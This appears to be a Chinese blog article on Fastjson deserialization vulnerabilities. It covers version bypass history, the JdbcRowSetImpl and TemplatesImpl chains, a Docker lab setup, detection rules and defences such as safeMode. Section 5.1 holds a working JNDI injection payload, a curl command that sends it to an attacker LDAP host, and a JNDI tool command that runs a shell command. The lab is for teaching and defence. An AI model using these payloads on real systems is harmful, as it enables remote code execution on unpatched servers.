news 2026/10/20 15:41:55

Fastjson反序列化漏洞全解析:版本演进、攻击原理与Docker靶场实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Fastjson反序列化漏洞全解析:版本演进、攻击原理与Docker靶场实战

1. 为什么不能只盯着1.2.24

1.1 时间线真相:Fastjson漏洞从来不是某一个版本的问题

每次聊到Fastjson反序列化,很多人的第一反应就是1.2.24。这确实是2017年被公开讨论得最多的那个版本,但如果你以为把1.2.24换掉就万事大吉,那后面几年你大概率还会被打脸。实际上,从1.2.25到1.2.47,再到1.2.80、1.2.83,这条绕过与修复的猫鼠游戏持续了相当长时间,每一个时间段都有对应的真实攻击面。

我把关键版本节点整理了一下:

版本区间状态典型绕过方式利用条件
1.2.24及之前autoType默认开启直接JNDI注入,无需额外条件目标可出网访问攻击者的RMI/LDAP服务
1.2.25 - 1.2.46加入黑名单与autoType开关寻找黑名单以外的利用类,利用缓存绕过依赖类是否在classpath中
1.2.47出现缓存绕过利用java.lang.Class的缓存机制,无需开启autoType也能触链对低版本Fastjson影响极大
1.2.68 - 1.2.80加入safebox与更多黑白名单部分特定类仍可被利用,利用条件更苛刻需要更冷门的Gadget或配合特定业务场景
1.2.83相对安全版本仍建议开启safeMode做纵深防御主要是防御配置与业务兼容的平衡

这张表想表达的核心观点是:Fastjson漏洞是版本演化式的,不是单点版本式的。安全应急时如果资产清单里只盯着1.2.24,会把大量运行在1.2.25到1.2.80之间的系统漏掉,而这些年头里被突破的案例并不少。

1.2 实际业务里的影响半径

我参与过不少次漏洞排查,发现一个很现实的问题:很多Java项目根本不知道自己的依赖树里带的是哪个Fastjson版本。Fastjson通常不是直接引入的,而是通过某个中间件、某个工具包、某个老业务模块间接带进来的,Maven的依赖传递机制会悄悄帮你塞进一个旧版本。

举个例子,某公司一个订单系统,主业务代码里用的是1.2.83,看起来人畜无害,结果某次全量依赖扫描后发现,一个内部Excel导入组件里锁定了1.2.47。这个组件接收上传文件,文件内容会转成JSON字符串再调用parseObject做对象映射,等于把攻击者可控的输入直接喂给了反序列化接口。这种情况下,攻击者只需要构造一个恶意的JSON文件上传,就能触发完整的利用链。

所以我一直建议,做Fastjson排查不要光看“哪个服务用了Fastjson”,而要看“哪个入口把外部输入喂给了parseObject”。入口在哪,风险就在哪。常见入口包括HTTP接口、消息队列的JSON消费者、配置文件解析、导入导出功能,这些场景都需要纳入资产盘点范围,不能只按版本号定生死。

2. Fastjson反序列化漏洞的原理拆解

2.1 先搞清楚Fastjson做了什么事情

Fastjson的核心能力很简单:把JSON字符串转换成Java对象。它提供了parseObject这样的方法,当你在JSON字符串里通过@type指定一个类名时,Fastjson会尝试以这个类为目标进行反序列化。

JSONObject obj = JSON.parseObject(input, Feature.SupportAutoType);

上面这行代码在指定了autoType能力的情况下,会按照JSON里声明的类型去加载类,然后填充字段。问题就出在这个“加载类”和“填充字段”的过程里:一个Java类在被反序列化时,它的setter方法会被自动调用,某些类被加载时还会触发内部的特定方法(比如getter方法或者readObject逻辑)。

用一个生活化的类比:Fastjson就像一个万能钥匙,你告诉它“我要打开某某房间的门”,它就去把门打开,但门打开后里面可能有一条布好的线,你一踩就会触发机关。攻击者要做的事情,就是找到一条“打开后必踩中机关”的类路径,把机关触发的参数全部通过JSON字段传进去。

2.2 完整攻击链:一个JSON串如何变成一串命令

整个攻击链路可以拆成四步:

  1. 入口控制:攻击者找到接受JSON输入的位置,比如一个接收请求体为JSON的HTTP接口。
  2. 指定目标类:在JSON中通过@type指定攻击链上的一个Java类,这个类在反序列化过程中会自动触发某个方法。
  3. 触发恶意逻辑:被触发的逻辑最终导向一个远程类加载或本地字节码执行点,常见的是JNDI注入,也就是让目标程序去远程加载一个攻击者准备好的恶意Java类。
  4. 命令执行:恶意类被加载后,在服务器上执行系统命令,比如反弹shell、删除文件、写入后门。

这里需要补充一个很重要的背景概念:JNDI。JNDI是Java里用于名称查找的一套机制,可以把一个名称解析为对象。攻击者伪造了一个RMI服务或者LDAP服务,里面登记了一个名称到恶意远程类的映射。目标程序在反序列化过程中一旦触发了对这个名称的JNDI查找,Java运行环境会顺着名称去远程加载类,这样攻击者的代码就被“合法地”拉到了目标环境里执行。

这就像你打了一个官方服务电话,接线员按照电话簿把电话转给了你指定的分机,但这个分机其实是骗子提前布好的。整个过程中程序认为自己在做正常的名称解析,并没有违反任何规则。

2.3 两条经典链:TemplatesImpl与JdbcRowSetImpl

在Fastjson漏洞的利用链中,有两条最经典的链路值得深入理解,一条是JdbcRowSetImpl,另一条是TemplatesImpl。

JdbcRowSetImpl这条链依赖JNDI注入。它内部有一个setAutoCommit方法,在特定条件下会触发JNDI查找,攻击者把JNDI的地址放在JSON字段里,目标服务器就会去连接攻击者控制的RMI或LDAP服务。这条链对版本兼容性好,利用比较简单,在1.2.24时代几乎是标配,但它有一个硬性前提:目标服务器必须能访问攻击者的远程服务,也就是常说的“出网”。

TemplatesImpl这条链则是通过com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类来实现字节码加载。它可以在不出网的情况下完成代码执行,因为恶意字节码是直接内嵌在JSON里的,不需要目标服务器反向连接到攻击机。但它利用的门槛也高一些,需要Fastjson开启Feature.SupportNonPublicField才能访问类中的私有字段,意味着触发条件更苛刻。

两条链的对比:

利用链是否需要出网触发条件适用版本
JdbcRowSetImpl需要目标可访问攻击者JNDI服务1.2.24及后续多版本
TemplatesImpl不需要需开启SupportNonPublicField高版本仍可能被利用

理解这两条链不是为了亲手打造攻击工具,而是为了做检测和防御时能看得懂恶意载荷。我在应急响应时看到不少蓝队同学把日志里出现的TemplatesImpl当成误报,因为团队里的扫描器复现不出来,其实不是误报,而是触发条件不一样。只有搞清楚每条链的触发前提,才能准确判断一条日志到底是扫描流量还是真实攻击。

3. 版本绕过演进与快速识别

3.1 autoType开关与黑名单的猫鼠游戏

Fastjson在1.2.25版本开始引入了autoType开关,默认关闭,同时加入了黑名单机制。它的设计思路是:不是所有类都能在JSON里被@type指定,只有不在黑名单里的类才允许加载,攻击者常用的恶意类直接被列表拦截掉。

但黑名单的防御逻辑有一个先天缺陷:它只能拦截已知的、被写进列表里的类名,无法覆盖将来出现的所有新类。于是攻击者开始做“找类”的工作,在JDK和常见库中寻找行为可控、存在危险setter或getter的类,只要不在黑名单里,就可以作为新的攻击链节点。

后面出现的绕过里,1.2.47的缓存绕过最有代表性。它利用的是Fastjson内部对类名缓存的处理逻辑,让目标在没有开启autoType的情况下也能加载恶意类。这就好比门禁系统说“没有通行证的人不让进”,但攻击者发现,只要先让某个人进去再把他放出来,门禁系统的内部名单里就多了一个允许通行的记录,第二次就畅通无阻了。

3.2 常见版本对应的利用姿势

把版本和利用姿势放在一起看,会更清楚地理解“为什么不能只补一个版本”:

  1. 1.2.24时代的打法:直接构造JdbcRowSetImpl的JSON,指定远程RMI地址,目标服务器一旦出网就会去加载恶意类。这个版本默认autoType开启,利用成本极低。

  2. 1.2.25之后的做法:autoType默认关闭,但业务中如果手动开启,或者代码里对参数做了拼接,仍然有绕过可能。攻击者需要探测目标是否开启了autoType,再选择合适的类。

  3. 1.2.47的经典绕过:这个版本的破坏力之所以大,是因为它不需要目标开启autoType,利用链通过java.lang.Class的缓存机制完成整个流程。当时很多团队以为关闭autoType就安全了,结果被打了个措手不及。

  4. 1.2.68之后:版本中加入safebox机制,对类名做了更细粒度的限制,大部分公开的利用链开始失效。但因为有新的Gadget不断被发现,加上很多业务出于兼容性考虑没有开启safebox,后续版本依然存在小范围风险。

这里想提醒各位做防御的同行:评估Fastjson风险不能只看版本号,必须结合“目标代码是否开启了autoType”“是否从外部输入直接parse”“目标是否能出网”这三个条件综合判断。

3.3 项目中如何快速识别Fastjson版本与风险

在授权测试或者自查中,我会按下面这个顺序来做快速识别:

第一步:看依赖版本。在项目目录下执行依赖分析命令,比如Maven项目可以扫pom.xml或运行依赖树查看命令,把间接依赖也捞出来,重点看有没有多个Fastjson版本并存的情况。

第二步:看代码调用。检索项目代码里所有出现parseObject、parse、JSONObject.parse的地方,逐个确认这些方法的入参是否为用户可控,有没有做过滤或白名单校验。

第三步:做接口探测。构造一个包含@type字段的JSON发送到可疑接口,观察响应。不同版本的Fastjson对非法类名的报错信息有差别,可以通过报错内容辅助判断版本范围。这个操作只适合在授权环境下进行,没有授权的系统不要碰。

第四步:扫资产。把公司内部所有用Fastjson的系统在资产平台里登记,按版本、入口类型、是否出网打标。有了这份清单,再做漏洞修复才谈得上精准。

4. Docker靶场搭建:从零复现一次攻击

4.1 靶场架构设计

看完原理,一定要动手跑一遍,才能真正理解攻击链的每个环节。Docker是在本地搭靶场最方便的方式,环境一致、清理干净、风险可控。我们搭这个靶场的目标就一个:在自己电脑上完整看到“一个JSON字符串变成一次命令执行”的全过程。

靶场由三个角色组成:

  • 受害者服务:一个Java 8环境里运行的Web应用,接口读取JSON请求体并调用Fastjson的parseObject处理,Fastjson版本可以按需要切换。
  • 攻击机:你的宿主机或者另一个容器,上面运行JNDI利用工具和一个HTTP服务,负责托管恶意类。
  • 验证端:用DNSLog或者直接执行命令来确认攻击是否成功。

Docker网络建议使用一个自定义桥接网络,让受害者容器和攻击机容器处于同一网络内,这样模拟的就是“目标可以访问攻击机服务”的经典内网场景,也方便抓包观察流量。

4.2 构建受害者服务

这里我给一个最小化可运行的示例。项目结构大致如下:

vuln-fastjson/ ├── pom.xml ├── Dockerfile └── src/main/java/ └── com/example/VulnApplication.java

pom.xml里需要引入Fastjson的旧版本和Spring Boot的基础Web能力。为了靶场还原度,Fastjson选1.2.24最直接,如果想测试更高版本的绕过,可以把版本号改到1.2.47等对应版本再打包。

<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>

VulnApplication的核心代码只需要一个接收POST请求的接口,把body里的字符串直接交给JSON.parseObject处理:

@RestController public class JsonController { @PostMapping(value = "/json", produces = "application/json") public String parseJson(@RequestBody String body) { Object obj = JSON.parseObject(body); return "parsed: " + obj.getClass().getName(); } }

Dockerfile基于Java 8构建:

FROM maven:3.6-jdk-8 AS builder COPY pom.xml /app/pom.xml COPY src /app/src RUN mvn -q -f /app/pom.xml package FROM openjdk:8-jre-slim COPY --from=builder /app/target/vuln-fastjson.jar /app.jar EXPOSE 8080 ENTRYPOINT ["java", "-jar", "/app.jar"]

构建命令也放进脚本里,方便一键重建:

docker build -t fastjson-vuln . docker network create fastjson-lab docker run -d --name victim --network fastjson-lab -p 8080:8080 fastjson-vuln

注意这里刻意保留了1.2.24的默认autoType开启状态,这是为了让初级玩家先看到最直接的利用效果。等这条链跑通了,再改版本号去观察高版本的绕过逻辑,理解会深得多。

4.3 搭建攻击机环境

攻击机不需要多复杂。如果你的宿主机是Linux或者macOS,直接拿宿主机当攻击机就行。需要准备的工具有这几类:

  1. JNDI注入工具:一个用于搭建恶意RMI/LDAP服务的工具,社区里有几个开源项目可用。工具运行后可以指定一个HTTP服务地址,当目标服务器触发JNDI查找时,它会远程加载我们放好的恶意类。

  2. 恶意类托管:一个最简单的HTTP服务,比如用python3 -m http.server 8000把当前目录暴露出去,放上编译好的恶意class文件。

  3. 请求工具:curl或者Burp Suite都行。我自己调试时常用curl,因为它足够轻量,payload改起来也方便。

还需要注意Java环境版本。很多JNDI利用工具和恶意类编译都需要JDK 8,如果你的宿主机默认Java版本太高,建议单独装一个JDK 8,或者使用容器方式运行攻击工具,避免版本兼容问题。

5. 攻击复现与防御布防

5.1 完整复现一次攻击

启动流程分成三步。

第一步,在攻击机(宿主机)上启动恶意HTTP服务,把编译好的恶意类放在当前目录:

docker exec -it victim bash -c "cat > /tmp/Eval.class" # 省略编译细节 python3 -m http.server 8000

第二步,启动JNDI工具。工具会监听一个RMI端口,并把这端口与远程恶意类地址绑定起来:

java -jar jndi-tool.jar -C "touch /tmp/pwned" -A "攻击机IP"

第三步,用curl构造payload发送到受害服务的接口。对于1.2.24,经典的JSON长这样:

{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://攻击机IP:1389/Exploit", "autoCommit": true }

发送请求:

curl -X POST http://127.0.0.1:8080/json \ -H "Content-Type: application/json" \ -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机IP:1389/Exploit","autoCommit":true}'

如果一切顺利,攻击机HTTP服务里会出现一次恶意类下载记录,受害者容器里也会多出/tmp/pwned这个文件。可以进容器验证:

docker exec victim ls -la /tmp/pwned

看到文件存在,说明从JSON输入到远程类加载再到命令执行这一整条链路已经走通了。这个复现过程非常直观地展示了为什么“只盯着1.2.24”是不够的:同样的思路在后续版本里只不过换了入口类和利用条件而已,攻击链骨架并没有本质变化。

5.2 从流量与日志看攻击特征

攻击复现完之后,别急着关靶场,先抓一波流量和日志做分析,这对以后写检测规则非常有帮助。

流量侧最容易看到的是请求体中的@type字段,它通常指向一个类名。低版本的JdbcRowSetImpl载荷里面会出现ldap://、rmi://等远程地址字符串,这是非常明显的恶意特征。如果攻击者用的是TemplatesImpl链,请求体里会包含一串很长的、经过编码的字节码内容,这类payload体积往往很大,和普通业务JSON有明显差异。

日志侧要重点看两类内容:一是业务日志里由Fastjson反序列化异常抛出的堆栈信息,里面会带上类名;二是WAF网关日志里的请求URL和body,如果规则没拦住,这里能回溯到完整的载荷。

写检测规则时建议做一个三层匹配:

  1. 基础规则:检测body里是否同时出现@type和rmi://、ldap://、http://这类远程地址关键字。
  2. 类名规则:维护一份已知恶意Gadget类名名单,比如JdbcRowSetImpl、TemplatesImpl、JndiDataSourceFactory等,命中即告警。
  3. 行为规则:在Java进程侧检测是否有异常的JNDI查找和远程类加载行为,这个通常由RASP类产品负责,属于运行时防护。

5.3 防御实战:不是装个新版本就完事

防御这件事,我的态度一直很明确:没有银弹,只有纵深。Fastjson的防御至少要分成三个层次来做。

第一层:版本与配置管理。

如果条件允许,升级到1.2.83及以上版本,并开启安全模式。开启safeMode的代码很简单:

ParserConfig.getGlobalInstance().setSafeMode(true);

safeMode开启后,反序列化时不会执行任何类名自动加载,即使JSON里带@type也会被忽略,这能在底层挡住绝大多数利用链。但要注意,safeMode不是白名单,它是一刀切策略,某些依赖autoType特性的业务会被影响,必须回归测试。

第二层:入口校验与代码加固。

代码里加一个全局的JSON反序列化过滤器,限制允许出现的类名范围。如果业务场景并不需要泛型对象反序列化,就别用JSON.parseObject处理外部传入的JSON,改用JSONObject.parse然后按字段逐个取值的写法,这样攻击者根本无法控制类名。

ParserConfig.getGlobalInstance().addAccept("com.example.common.");

第三层:运行时防护与监控。

部署RASP或WAF,并在主机层和容器层做网络策略限制,默认禁止Java进程主动外连。这样即便攻击者构造出能触发的payload,由于目标无法对外发起JNDI查找,JdbcRowSetImpl这条链就废掉了。

三层防御结合起来的效果,是即使某一层被绕过,后面还有一道拦截等着,这比单点修复靠谱得多。

6. 靶场搭建与攻防中的常见坑

6.1 靶场环境起不来怎么排查

搭靶场过程中最容易遇到的问题是网络不通。受害者容器即使和攻击机在同一台机器上,如果跑在Docker默认bridge网络里,而攻击机用的是宿主机网络,两边互相访问时容易因为IP绑定地址和端口映射导致失败。比较好的做法是像前面说的那样,创建一个自定义网络,容器之间直接走容器IP通信。

第二个常见问题是Maven拉取依赖太慢或者网络受限。可以把镜像源配置改成国内公共镜像,或者提前在宿主机maven仓库里准备好需要的Fastjson版本,构建时挂载为本地仓库。

第三个问题是JNDI工具起不来。很多这类工具需要JDK 8,如果你的宿主机装了高版本JDK,会直接报错拒绝启动。解决方法是安装一个JDK 8,或者用容器方式跑工具,在环境上保留一个干净的Java 8运行时。

6.2 攻击不生效的原因定位

攻击复现失败,按下面这几个方向排查基本能定位到问题:

  • 目标没有出网:JdbcRowSetImpl链必须依赖目标服务器能访问攻击机,本地靶场里先确认容器内能ping通攻击机IP。
  • payload的类名写错:Fastjson对不同版本、不同JDK环境的类名敏感,少写一个包名都会导致加载不到类。
  • 请求格式不对:接口接收的是application/json,Content-Type没设置对,导致Spring把参数解析成字符串,反序列化逻辑没触发。
  • 版本不匹配:在1.2.24上打1.2.47的绕过payload,或者是反过来,都可能静默失败。先确定目标版本再选payload。
  • safeMode意外开启:如果复现代码里不小心设置了safeMode,任何恶意类都会加载失败,这时候接口业务正常但攻击不生效,最容易让人误判。

6.3 防御实践中的注意事项

升级Fastjson版本和开启safeMode之后,务必做一次全量业务回归测试。Fastjson在历史版本上存在一些兼容性行为差异,比如字段命名的下划线转驼峰规则、默认值处理逻辑、枚举解析方式,升级后可能导致某些老接口返回数据格式变化。我见过最典型的案例是某系统升级后所有涉及Map类型的接口返回值乱了,排查半天发现是版本升级改变了字符串与浮点数的转换规则,不是功能bug。

另外还要注意日志里的敏感信息泄漏。Fastjson在反序列化异常时会把原始JSON内容输出到日志里,如果这个JSON里有账号、手机号等个人信息,日志存储层面就成了新的泄露点。建议对日志中body内容做截断或脱敏,或者在网关层就把敏感字段过滤掉。

关于权限的问题也想提一句:RASP或者安全Agent部署到生产环境时,尽量用最小权限角色运行,不要图省事给它root权限,避免安全组件自身成为新的攻击入口。

最后分享一点个人体会

我在实际排查中见过很多次“版本号显示正常但业务依然异常”的情况,也有过被压到生产容器里一步步找JNDI链路却一无所获的窘迫。做安全最怕的就是机械地按版本号做判断,Fastjson这类漏洞尤其如此。版本只是其中一环,autoType开关状态、外部输入路径、出网能力、代码调用方式,任何一个环节变了,风险等级可能完全不同。

我的建议是把这套判断逻辑沉淀成一份自查清单,在每次新项目上线前过一遍。同时强烈推荐在测试环境把Docker靶场和自动化探测脚本保存下来,每次版本的修复公告出来后,第一时间拿新版本跑一次旧payload,用结果验证修复是否真的生效。近期在做安全自查时,也可以用DNSLog辅助探测一批对外的Java API接口,快速找到哪些接口在无脑反序列化外部输入,比单纯扫依赖版本直接得多。希望这篇完整的攻击链与防御实战对你有实在的帮助。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/20 15:40:08

Matlab黑体辐射可视化:普朗克曲线绘制与双尺度坐标优化

简介&#xff1a;本资源是一份面向物理光学、热辐射或计算物理方向初学者与教学实践者的Matlab可视化教学材料&#xff0c;聚焦黑体辐射核心规律——普朗克定律的数值实现与多温度对比分析。通过编写可运行的Matlab脚本&#xff0c;直观呈现不同温度&#xff08;如300K、4000K、…

作者头像 李华
网站建设 2026/10/20 15:35:41

AI Agent开源项目怎么选?7个多Agent协作框架深度盘点

过去两个月&#xff0c;我在几个开发群里反复看到同一个话题被顶上来&#xff1a;AI Agent开源项目到底该选哪个框架&#xff1f;GitHub趋势榜上多Agent相关的仓库一个接一个地涨star&#xff0c;副标题也一个比一个猛&#xff0c;“让Agent管理Agent”“多智能体编排”“自主协…

作者头像 李华
网站建设 2026/10/20 15:34:54

C语言实现字节级哈夫曼文件压缩(支持任意二进制)

简介&#xff1a;本资源是面向高校数据结构课程设计的哈夫曼文件压缩实践项目&#xff0c;适用于掌握二叉树、链表及贪心算法原理的中初级C语言学习者。项目完整实现基于字符频次统计构建Huffman树、生成最优前缀编码、并完成ASCII文本文件压缩的核心流程&#xff0c;涵盖从理论…

作者头像 李华
网站建设 2026/10/20 15:33:58

UE4编辑器快捷键全攻略:从视口操作到蓝图材质的高效工作流

1. 为什么值得花时间整理UE4编辑器快捷键 刚接触虚幻引擎&#xff08;UE4&#xff09;那会儿&#xff0c;我最常干的一件事就是盯着视口发呆——想移动一个物体&#xff0c;结果拖动了整个场景&#xff1b;想缩放视角&#xff0c;结果把模型拉变形了。后来跟几个做关卡和TA的朋…

作者头像 李华
网站建设 2026/10/20 15:33:56

UE4编辑器窗口快捷键全整理:视口、蓝图、材质、动画高效操作指南

1. 为什么值得花时间整理UE4编辑器快捷键刚接触虚幻引擎那会儿&#xff0c;我总觉得鼠标点来点去也能把活干完&#xff0c;直到有一次做一个开放世界场景的搭建&#xff0c;光是反复在视口、内容浏览器和细节面板之间切换就耗掉了大半天。后来一位做技术美术的朋友看我操作&…

作者头像 李华
网站建设 2026/10/20 15:33:41

PowerShell批量操作注册表:从脚本实战到权限与类型避坑

最近一段时间连续帮几拨同行处理了同一个问题&#xff1a;要给几十台机器统一写入一组注册表配置项&#xff0c;一个个打开注册表编辑器手动新建&#xff0c;不仅慢&#xff0c;还容易手抖写错路径或者填错类型。后来我把整套流程整理成了一个 PowerShell 脚本&#xff0c;核心…

作者头像 李华